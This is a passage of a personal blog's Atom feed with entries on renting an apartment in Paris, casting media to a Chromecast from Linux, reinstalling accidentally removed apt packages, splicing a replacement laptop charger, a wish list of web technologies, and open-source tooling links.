&lt;/ul&gt;</content><category term="Miscellaneous"></category><category term="plants"></category><category term="air"></category></entry><entry><title>Millennials</title><link href="https://romainpellerin.eu/millennials.html" rel="alternate"></link><published>2017-09-02T23:50:00+02:00</published><updated>2017-09-02T23:50:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-09-02:/millennials.html</id><summary type="html">&lt;p&gt;An inspirational video about millennials&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=vudaAYx2IcE"&gt;&lt;em&gt;The Millennial Question&lt;/em&gt;, by Simon Sinek.&lt;/a&gt;&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/vudaAYx2IcE?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;</content><category term="Miscellaneous"></category><category term="millennials"></category><category term="inspiration"></category></entry><entry><title>Living In Paris: Looking For An Apartment In Paris</title><link href="https://romainpellerin.eu/living-in-paris-looking-for-an-apartment-in-paris.html" rel="alternate"></link><published>2017-09-02T22:50:00+02:00</published><updated>2018-03-02T15:50:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-09-02:/living-in-paris-looking-for-an-apartment-in-paris.html</id><summary type="html">&lt;p&gt;My advice for apartment seekers in Paris&lt;/p&gt;</summary><content type="html">&lt;p&gt;Looking for an apartment in Paris... is a hassle. A lot of demand, too little supply. Not to mention you always - well, almost - need rent guarantors.&lt;/p&gt;
&lt;h1 id="first-of-all-where-to-look-for-apartments"&gt;First of all, where to look for apartments?&lt;/h1&gt;
&lt;p&gt;My three favorite ones, that gather ads from many agencies:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.leboncoin.fr/locations/offres/ile_de_france/?th=1&amp;amp;ret=2&amp;amp;furn=1"&gt;Leboncoin.fr&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.seloger.com/list.htm?idtt=1&amp;amp;naturebien=1&amp;amp;idtypebien=1&amp;amp;ci=750110,750109,750111,750118,750119,750105,750120,750117,750112,750113,750114,750106,750104&amp;amp;tri=a_px&amp;amp;surfacemin=15&amp;amp;si_meuble=1"&gt;Seloger.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.pap.fr/annonce/locations-appartement-paris-4e-g37771g37772g37776g37777g37778g37780g37784g37785g37786g37787-a-partir-de-15-m2"&gt;Pap.fr&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Pro tip&lt;/strong&gt;: enable the alert emails so that you get an email as soon as one ad is posted, or digest emails.&lt;/p&gt;
&lt;p&gt;Also, don't forget about agencies' websites. To mention a few:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.virginia-immobilier.fr/"&gt;Virginia&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.guy-hoquet.com/"&gt;Guy Hoquet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.laforet.com/"&gt;Laforêt&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.fnaim.fr/"&gt;FNAIM&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="arranging-a-viewing"&gt;Arranging a viewing&lt;/h1&gt;
&lt;p&gt;My tip is to always try to phone them. If no one picks up, them text the person who posted the ad if they wrote their phone number. As a last resort, email them.&lt;/p&gt;
&lt;p&gt;In short, the email should look like this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;State who is looking for an apartment (yourself and your gf/bf?)&lt;/li&gt;
&lt;li&gt;Is the apartment still on the market? If so, when can you see it?&lt;/li&gt;
&lt;li&gt;Your job(s) (CDD, CDI, trial period?), your position(s) (software engineer for instance) and your salaries. Indicate whether you have guarantors or not.&lt;/li&gt;
&lt;li&gt;Leave your phone number just in case&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once you've arranged a viewing, you should prepare the documents you are going to have to hand in along with the questions you want to ask.&lt;/p&gt;
&lt;h1 id="the-documents"&gt;The documents&lt;/h1&gt;
&lt;p&gt;In Paris, landlords usually expect people to know what documents are required. However, this might drastically vary from one to another. Here is a list of must and optional ones. If you are extremelly well paid you might not need rent guarantors:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Must&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Copies of your ID and your rent guarantors' IDs&lt;/li&gt;
&lt;li&gt;You last three payslips (and those or your guarantors)&lt;/li&gt;
&lt;li&gt;Last tax notice (&lt;em&gt;avis d'impôts&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;Your work contract (or student certificate if still a student) and your guarantors' work contracts or some proof from their employer&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Optional but often required&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Three last rent receipts (&lt;em&gt;quittances de loyer&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;Guarantors' land tax (&lt;em&gt;taxe foncière&lt;/em&gt;). &lt;a href="https://www.frenchentree.com/french-property/local-property-taxes-taxe-fonciere-and-taxe-dhabitation/"&gt;More on this here&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Guarantors' residence tax (&lt;em&gt;taxe d'habitation&lt;/em&gt;). &lt;a href="https://www.frenchentree.com/french-property/local-property-taxes-taxe-fonciere-and-taxe-dhabitation/"&gt;More on this here&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Sworn statement from your guarantors stating they are your guarantors (&lt;em&gt;attestation sur l'honneur&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Rarely required&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Last EDF bill or sworn statement that you'be being hosted by someone (meaning you live at someone's place)&lt;/li&gt;
&lt;li&gt;Proof of insurance for houses (assurance habitation)&lt;/li&gt;
&lt;li&gt;Proof of residency for your guarantors&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;However, never hand in your bank details before officially signing the apartment lease.&lt;/strong&gt;
Some agencies or landlords ask you to hand in these documents during the viewing. But most of the time, sending them over email is fine. Ask beforehand just in case.&lt;/p&gt;
&lt;h1 id="questions-to-ask-during-the-viewing"&gt;Questions to ask during the viewing&lt;/h1&gt;
&lt;p&gt;Here are a few questions I used to ask:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Does it come with a refrigerator? Oven/stove, stovetop or range? Washing machine or connections for one? Dishwasher?&lt;/li&gt;
&lt;li&gt;Are windows double glazed?&lt;/li&gt;
&lt;li&gt;Is the neighborhood quiet and safe?&lt;/li&gt;
&lt;li&gt;How much is the brokerage fee? (if not renting directly from the landlord)&lt;/li&gt;
&lt;li&gt;How much is the deposit, if any?&lt;/li&gt;
&lt;li&gt;What is included in the utilities? Water, electricity, gas, heat, trash removal, Internet access, ...?&lt;/li&gt;
&lt;li&gt;If there fiber optic Internet?&lt;/li&gt;
&lt;li&gt;Are there window roller shutters?&lt;/li&gt;
&lt;li&gt;Is the place ventilated?&lt;/li&gt;
&lt;li&gt;How much is the electricity consumption per month? How bad is the insulation? (ask for the &lt;a href="https://ec.europa.eu/energy/en/topics/energy-efficiency/buildings"&gt;building energy performance metrics&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;When is the apartment available?&lt;/li&gt;
&lt;li&gt;Is the apartment eligible for APL (&lt;em&gt;Aide personnalisée au logement&lt;/em&gt;)?&lt;/li&gt;
&lt;li&gt;Is there a cave? Bike parking?&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="keeping-track-of-the-apartments-youve-found-and-the-viewings-youve-done"&gt;Keeping track of the apartments you've found and the viewings you've done&lt;/h1&gt;
&lt;p&gt;I recommend that you create an Excel file to do that. Here is an extract of mine:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Title of the ad&lt;/li&gt;
&lt;li&gt;URL&lt;/li&gt;
&lt;li&gt;Price per month&lt;/li&gt;
&lt;li&gt;Number of rooms&lt;/li&gt;
&lt;li&gt;Arrondissement&lt;/li&gt;
&lt;li&gt;Address (if known)&lt;/li&gt;
&lt;li&gt;Floor (lift?)&lt;/li&gt;
&lt;li&gt;Square meters&lt;/li&gt;
&lt;li&gt;Furnished or empty?&lt;/li&gt;
&lt;li&gt;Double bed?&lt;/li&gt;
&lt;li&gt;Washing machine or connections?&lt;/li&gt;
&lt;li&gt;Energy perfomance&lt;/li&gt;
&lt;li&gt;Availability (date)&lt;/li&gt;
&lt;li&gt;Last email sent date + time (and replies and outcome)&lt;/li&gt;
&lt;li&gt;Last phone call date + time (and outcome)&lt;/li&gt;
&lt;li&gt;Date of arranged viewing + time&lt;/li&gt;
&lt;li&gt;Phone number of the broker/landlord&lt;/li&gt;
&lt;li&gt;Viewing date and time&lt;/li&gt;
&lt;li&gt;Additional information&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That's it! Hope this helps.&lt;/p&gt;
&lt;h1 id="resources"&gt;Resources&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://twitter.com/paldama/status/1109017746883387392"&gt;Beware of scammers&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Miscellaneous"></category><category term="apartement"></category><category term="paris"></category><category term="housing"></category></entry><entry><title>Casting To Chromecast On Linux</title><link href="https://romainpellerin.eu/casting-to-chromecast-on-linux.html" rel="alternate"></link><published>2017-08-18T15:50:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-08-18:/casting-to-chromecast-on-linux.html</id><summary type="html">&lt;p&gt;How to cast media files to Chromecast from Linux&lt;/p&gt;</summary><content type="html">&lt;p&gt;Several options exist when it comes to casting media content from Linux to a Chromecast.&lt;/p&gt;
&lt;h1 id="casting-the-full-desktop"&gt;Casting the full desktop&lt;/h1&gt;
&lt;p&gt;You can use Google Chrome (audio is not supported).&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img alt="Casting from Chrome" src="https://romainpellerin.eu/images/chromecast-chrome.png" /&gt;
&lt;/figure&gt;

&lt;p&gt;Alternatively, you can use Firefox with &lt;a href="https://hensm.github.io/fx_cast/"&gt;fx_cast&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="casting-a-browser-tab"&gt;Casting a browser tab&lt;/h1&gt;
&lt;p&gt;Same as above, use Chrome.&lt;/p&gt;
&lt;h1 id="casting-a-file"&gt;Casting a file&lt;/h1&gt;
&lt;p&gt;Two options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Either VLC 3.0 (but it does not support subtitles yet)&lt;/li&gt;
&lt;li&gt;Or &lt;code&gt;castnow&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With VLC, open it and go to Preferences. Open the tab 'Video' and set Output to 'X11 video output (XCB)'. Then, try to find your Chromecast in the menu Video &amp;gt; Renderer &amp;gt; Scan. If unsuccessful, close it and run vlc from the command line:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt; vlc --sout&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;#chromecast{ip=192.168.1.X}&amp;quot;&lt;/span&gt; myfile.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Make sure you replace the IP with the one allocated to the Chromecast.&lt;/p&gt;
&lt;p&gt;Another option is to use &lt;code&gt;castnow&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;npm install -g castnow
castnow --address &lt;span class="s1"&gt;&amp;#39;192.168.1.X&amp;#39;&lt;/span&gt; myfile.mp4 --subtitles mysubs.srt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Enjoy!&lt;/p&gt;</content><category term="Linux"></category><category term="linux"></category><category term="chromecast"></category></entry><entry><title>How To Reinstall Deleted Packages On Linux</title><link href="https://romainpellerin.eu/how-to-reinstall-deleted-packages-on-linux.html" rel="alternate"></link><published>2017-08-18T15:30:00+02:00</published><updated>2017-08-18T15:30:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-08-18:/how-to-reinstall-deleted-packages-on-linux.html</id><summary type="html">&lt;p&gt;A few commands to repair and reinstall deleted packages on Linux&lt;/p&gt;</summary><content type="html">&lt;p&gt;Recently, I inadvertently deleted a whole lot of packages on my Linux distribution by deleting one specific package and then running &lt;code&gt;sudo apt-get autoremove&lt;/code&gt;. Here is how I reinstalled them automatically, after noticing I could not boot the X server up anymore:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;awk &lt;span class="s1"&gt;&amp;#39;/Purge|Remove/ { gsub( /\([^()]*\)/, &amp;quot;&amp;quot; ); gsub(/ ,/, &amp;quot; &amp;quot;);sub(/Install:/,&amp;quot;&amp;quot;); print}&amp;#39;&lt;/span&gt; /var/log/apt/history.log &amp;gt; repair.txt
sudo apt install &lt;span class="k"&gt;$(&lt;/span&gt;cat repair.txt&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Hope this helps.&lt;/p&gt;</content><category term="Linux"></category><category term="linux"></category><category term="packages"></category></entry><entry><title>Emotions</title><link href="https://romainpellerin.eu/emotions.html" rel="alternate"></link><published>2017-08-18T00:50:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-08-18:/emotions.html</id><summary type="html">&lt;p&gt;Weird emotions&lt;/p&gt;</summary><content type="html">&lt;figure class="center"&gt;
&lt;img alt="Emotions" src="https://romainpellerin.eu/images/emotions.jpg" /&gt;
&lt;/figure&gt;

&lt;p&gt;&lt;em&gt;Source: &lt;a href="https://twitter.com/eliistender10/status/883582636567998464"&gt;https://twitter.com/eliistender10/status/883582636567998464&lt;/a&gt; (comments say the true source is &lt;a href="http://www.dictionaryofobscuresorrows.com/"&gt;http://www.dictionaryofobscuresorrows.com/&lt;/a&gt;)&lt;/em&gt;&lt;/p&gt;</content><category term="Miscellaneous"></category><category term="emotions"></category></entry><entry><title>Fasting</title><link href="https://romainpellerin.eu/fasting.html" rel="alternate"></link><published>2017-06-26T21:50:00+02:00</published><updated>2017-06-26T21:50:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-06-26:/fasting.html</id><summary type="html">&lt;p&gt;Why fasting is good for you&lt;/p&gt;</summary><content type="html">&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=Fc_L22P69Mk"&gt;Le Jeûne : Une Recette Miracle ? ARTE HD Documentaire 2017&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=XMNWcYGAe6c"&gt;Le jeûne thérapeutique et le jeûne du bien-être&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Miscellaneous"></category><category term="diet"></category><category term="fasting"></category></entry><entry><title>A Web Project in 2017</title><link href="https://romainpellerin.eu/a-web-project-in-2017.html" rel="alternate"></link><published>2017-05-10T21:50:00+02:00</published><updated>2017-10-24T22:34:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-05-10:/a-web-project-in-2017.html</id><summary type="html">&lt;p&gt;Random stuff about a project I will probably never carry out&lt;/p&gt;</summary><content type="html">&lt;p&gt;I am writing this here for posterity, again!&lt;/p&gt;
&lt;p&gt;Since February 2017, I am doing an internship in San Francisco. It is focused on web technologies. I am learning a shit ton of stuff everyday. Thus I'd like to apply all these best practices and use my daily tools on &lt;strong&gt;ONE BIG PROJECT&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This killer project must include the following things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;JavaScript&lt;ul&gt;
&lt;li&gt;ES7&lt;ul&gt;
&lt;li&gt;&lt;code&gt;fetch&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Promises&lt;/li&gt;
&lt;li&gt;&lt;code&gt;await&lt;/code&gt;/&lt;code&gt;async&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;import&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Web worker&lt;/li&gt;
&lt;li&gt;Node&lt;/li&gt;
&lt;li&gt;React (Fiber?) + Redux&lt;ul&gt;
&lt;li&gt;Webpack: &lt;code&gt;create-react-app&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;reselect&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;redux-form&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;React Native as well?&lt;ul&gt;
&lt;li&gt;&lt;code&gt;create-react-native-app&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Sequelize: &lt;code&gt;sequelize&lt;/code&gt; + &lt;code&gt;sequelize-cli&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Express.js + GraphQL (with subscriptions): &lt;code&gt;express-graphql&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Apollo or Relay&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dotenv&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;jsonwebtoken&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;&lt;code&gt;date-fns&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;storybook&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;Server-side rendering with Next.js? &lt;code&gt;create-next-app&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;memoizee&lt;/code&gt; for external API calls made by the server&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Progressive Web App&lt;ul&gt;
&lt;li&gt;Service worker (makes app available offline)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=kqi4Xa1ViOQ"&gt;Progressive Web Apps (Cyril Balit - Florian Orpelière)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Push_API"&gt;Notifications&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;CSS&lt;ul&gt;
&lt;li&gt;Variables&lt;/li&gt;
&lt;li&gt;Flexbox&lt;/li&gt;
&lt;li&gt;Grid&lt;/li&gt;
&lt;li&gt;CSS masks&lt;/li&gt;
&lt;li&gt;&lt;a href="http://tachyons.io/"&gt;Tachyons&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Testing/CI/Production&lt;ul&gt;
&lt;li&gt;&lt;code&gt;jest-cli&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;standard-version&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Travis-ci.org&lt;/li&gt;
&lt;li&gt;Now.sh?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Tools&lt;ul&gt;
&lt;li&gt;yarn&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pm2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Prettier for code formatting&lt;/li&gt;
&lt;li&gt;&lt;a href="https://flow.org/"&gt;Flow&lt;/a&gt;: &lt;code&gt;flow-bin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Chrome extensions&lt;ul&gt;
&lt;li&gt;React Developer Tools&lt;/li&gt;
&lt;li&gt;Redux DevTools&lt;/li&gt;
&lt;li&gt;Apollo Client Developer Tools&lt;/li&gt;
&lt;li&gt;Lighthouse&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.google.com/speed/pagespeed/insights/"&gt;PageSpeed Insights&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Other&lt;ul&gt;
&lt;li&gt;PostgreSQL or SQLite&lt;/li&gt;
&lt;li&gt;asm.js or WebAssembly (preferably the latter)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://google.github.io/physical-web/"&gt;Physical Web&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bonus point if the project uses as many Github badges (meaning CI services) as I referenced on &lt;a href="https://romainpellerin.eu/open-source.html"&gt;this article&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reminder for myself&lt;/strong&gt;: check out &lt;a href="https://romainpellerin.eu/carrying-out-a-web-project.html"&gt;this article&lt;/a&gt;&lt;/p&gt;</content><category term="Code"></category><category term="web"></category><category term="javascript"></category><category term="css"></category><category term="html"></category></entry><entry><title>Managing One's Time</title><link href="https://romainpellerin.eu/managing-ones-time.html" rel="alternate"></link><published>2017-05-03T20:50:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-05-03:/managing-ones-time.html</id><summary type="html">&lt;p&gt;6 laws about time&lt;/p&gt;</summary><content type="html">&lt;figure class="center"&gt;
&lt;a href="https://romainpellerin.eu/images/managing-time.png"&gt;&lt;img src="https://romainpellerin.eu/images/managing-time.png" alt="Managing time" /&gt;&lt;/a&gt;
&lt;figcaption&gt;Managing one's time: 6 laws to know&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;&lt;a href="https://twitter.com/paulbrounais/status/840262793278431232" target="_blank"&gt;Credit: Paul Brounais&lt;/a&gt;.&lt;/p&gt;</content><category term="Miscellaneous"></category><category term="time"></category></entry><entry><title>How To Repair A Laptop Charger</title><link href="https://romainpellerin.eu/how-to-repair-a-laptop-charger.html" rel="alternate"></link><published>2017-05-02T21:50:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-05-02:/how-to-repair-a-laptop-charger.html</id><summary type="html">&lt;p&gt;How I replaced my defective laptop charger&lt;/p&gt;</summary><content type="html">&lt;p&gt;A few months ago, my laptop charger started to malfunction. It had to be in a certain position to charge the battery and supply power the my laptop. Recently, this had become really annoying. It was getting worse and worse, so bad that sometimes my laptop would shut down abruptly without any kind of warning as the battery was empty.&lt;/p&gt;
&lt;p&gt;Therefore, I decided to replace the defective charger. I searched the Internet, looking for the same charger, with no luck. All I found were cheap chargers selled by some weird Chinese sellers with poor reviews on Ebay and Amazon.&lt;/p&gt;
&lt;p&gt;In the end, since I could not find the right replacement charger with the same connector and the right specifications, I decided to make my own! Here is how.&lt;/p&gt;
&lt;h1 id="how-to-make-your-own-laptop-charger"&gt;How to make your own laptop charger&lt;/h1&gt;
&lt;p&gt;Basically, one can replace a laptop charger with any other one &lt;a href="https://stickystatic.com/tech/laptop-charger"&gt;on three conditions&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Output voltage has to be the same&lt;/li&gt;
&lt;li&gt;Output amperage has to be either the same or higher than the original charger&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Polarity_symbols"&gt;Polarity&lt;/a&gt; has to be the same&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All I needed was a power brick (AC/DC converter) meeting the above-mentionned requirements and a cord with the same connector. I decided not to reuse the cord from my original charger. Fortunately, my roommate had an old charger with the matching connector, so I decided to go with that one.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/repair-laptop-charger/connectors.jpg" alt="Connectors" /&gt;
&lt;figcaption&gt;My connector (top) and my roommate's one (bottom)&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Here is the replacement charger I bought for $20, with the exact same specs as mine:&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/repair-laptop-charger/power-block.jpg" alt="Power brick" /&gt;
&lt;figcaption&gt;My replacement power brick&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;So, as I said, I used my roommate's charger cord to get a connector suited for my laptop. I made sure to cut near the block so that the cord remained long enough.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/repair-laptop-charger/cut-cord.jpg" alt="Cutting the cord" /&gt;
&lt;figcaption&gt;Cutting the cord&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Then, I split the end in two to separate the two wires.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/repair-laptop-charger/split-cord1.jpg" alt="Splitting the cord" /&gt;
&lt;figcaption&gt;Splitting the cord&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;I identified each wire using a multimeter. Since my laptop expects the center of the barrel plug to be the positive contact and the barrel to be negative, I needed to know that to correctly assemble the two parts of my to-be charger.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/repair-laptop-charger/multimeter1.jpg" alt="Identifying wires" /&gt;
&lt;figcaption&gt;Identifying wires&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;I put adhesive tape on the negative one to remember it.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/repair-laptop-charger/split-cord2.jpg" alt="Adhesive tape on negative wire" /&gt;
&lt;figcaption&gt;Adhesive tape on negative wire&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Then, I cut the connector from the new charger I had just bought. Inside the cord, the two wires were of different colors, one was red and the other blue. Using the multimeter and the connector I had just cut, I identified the negative and positive wires.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/repair-laptop-charger/multimeter2.jpg" alt="Identifying wires" /&gt;
&lt;figcaption&gt;Identifying wires&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;This way, I figured out the blue wire was connected to the barrel and the red one to the center. Since the charger had the same polarity as mine, I knew that the blue wire was negative. Consequently, that wire had to be connected to the wire with adhesive tape.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/repair-laptop-charger/two-cords.jpg" alt="Both cords ready to be connected" /&gt;
&lt;figcaption&gt;Both cords ready to be connected&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;I twisted the wires to connect them and insulated them with electrical tape.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/repair-laptop-charger/connecting1.jpg" alt="Twisting the wires" /&gt;
&lt;figcaption&gt;Twisting the wires&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/repair-laptop-charger/connecting2.jpg" alt="Insulating the wires" /&gt;
&lt;figcaption&gt;Insulating the wires&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/repair-laptop-charger/connecting3.jpg" alt="Insulating the cord" /&gt;
&lt;figcaption&gt;Insulating the cord&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;That's all! Now I have a new functionning charger perfectly suited to my laptop.&lt;/p&gt;</content><category term="Computers"></category><category term="laptop"></category><category term="charger"></category></entry><entry><title>Open Source</title><link href="https://romainpellerin.eu/open-source.html" rel="alternate"></link><published>2017-03-07T21:50:00+01:00</published><updated>2019-11-01T02:15:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-03-07:/open-source.html</id><summary type="html">&lt;p&gt;Resources for open source projects&lt;/p&gt;</summary><content type="html">&lt;p&gt;Here are a bunch of links for open source project maintainers/creators:&lt;/p&gt;
&lt;h1 id="documentation"&gt;Documentation&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.sphinx-doc.org/en/master/"&gt;Sphinx&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="toolscontinuous-integrationcontinuous-testing"&gt;Tools/Continuous integration/Continuous testing&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://greenkeeper.io/"&gt;GreenKeeper&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://coveralls.io/"&gt;Coveralls&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://saucelabs.com/open-source"&gt;Sauce Labs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://travis-ci.org/"&gt;Travis CI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://circleci.com/"&gt;CircleCI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://codeship.com/"&gt;Codeship&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bithound.io/"&gt;bitHound: Node.js code and npm analysis for your team&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gemnasium.com/"&gt;Gemnasium&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://codecov.io/"&gt;Codecov&lt;/a&gt;&lt;/li&gt;
